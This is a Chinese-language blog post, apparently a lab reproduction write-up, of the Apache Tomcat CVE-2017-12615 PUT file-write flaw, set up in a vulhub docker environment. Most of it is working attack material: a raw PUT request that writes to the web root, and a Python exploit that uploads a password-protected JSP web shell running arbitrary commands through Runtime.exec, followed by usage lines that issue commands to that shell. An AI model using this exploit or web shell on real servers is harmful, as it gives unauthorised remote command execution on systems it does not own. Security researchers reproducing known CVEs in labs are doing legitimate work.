Tomcat PUT方法任意写文件 CVE-2017-12615 漏洞复现

一、漏洞描述

在启用 HTTP PUT 的 Windows 上运行 Apache Tomcat 7.0.0 到 7.0.79 时(例如,通过将 Default 的只读初始化参数设置为 false),可以通过特制的请求将 JSP 文件上传到服务器。然后可以请求这个 JSP,并且它包含的任何代码都将由服务器执行。

二、漏洞影响

7.0.0 < Apache Tomcat < 7.0.79 中默认配置为readonly=false
若其他版本这么配置,也可以通过 PUT / DELETE 进行文件操控。 。

三、漏洞复现

1、环境搭建

执行如下命令,启动Apache Tomcat/8.5.19版本:

cd vulhub/tomcat/CVE-2017-12615
docker-compose build
docker-compose up -d

运行完成后访问http://x.x.x.x:8080即可看到 Tomcat 的 Example 页面。
在这里插入图片描述
查看conf/web.xml文件:
在这里插入图片描述
其中配置了readonly=false,也就导致了可以往服务器写文件。

2、漏洞复现

直接发送以下数据包即可在 Web 根目录写入 shell:

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell

四、漏洞EXP

#! -*- coding:utf-8 -*- 
import requests
import sys
body = '''
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c) {
    StringBuilder line = new StringBuilder();
    try {
    Process pro = Runtime.getRuntime().exec(c);
    BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
    String temp = null;
    while ((temp = buf.readLine()) != null) {
    line.append(temp+"\\n");}
    buf.close();
    } 
    catch (Exception e) {
    line.append(e.getMessage());}
    return line.toString();}
    %>
<%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){
    out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}
    else{out.println(":-)");}
    %>'''
requests.put(sys.argv[1]+'evil.jsp/',data=body)
rq = requests.get(sys.argv[1]+'evil.jsp')
if rq.status_code == 200:
    print "[+] You GOt it!"
else:
    print "[-] It seems no vuln!"

使用说明:

python3 exp.py http://x.x.x.x:8080/

http://x.x.x.x:8080/evil.jsp?pwd=023&cmd=ls

五、参考链接

https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5
https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值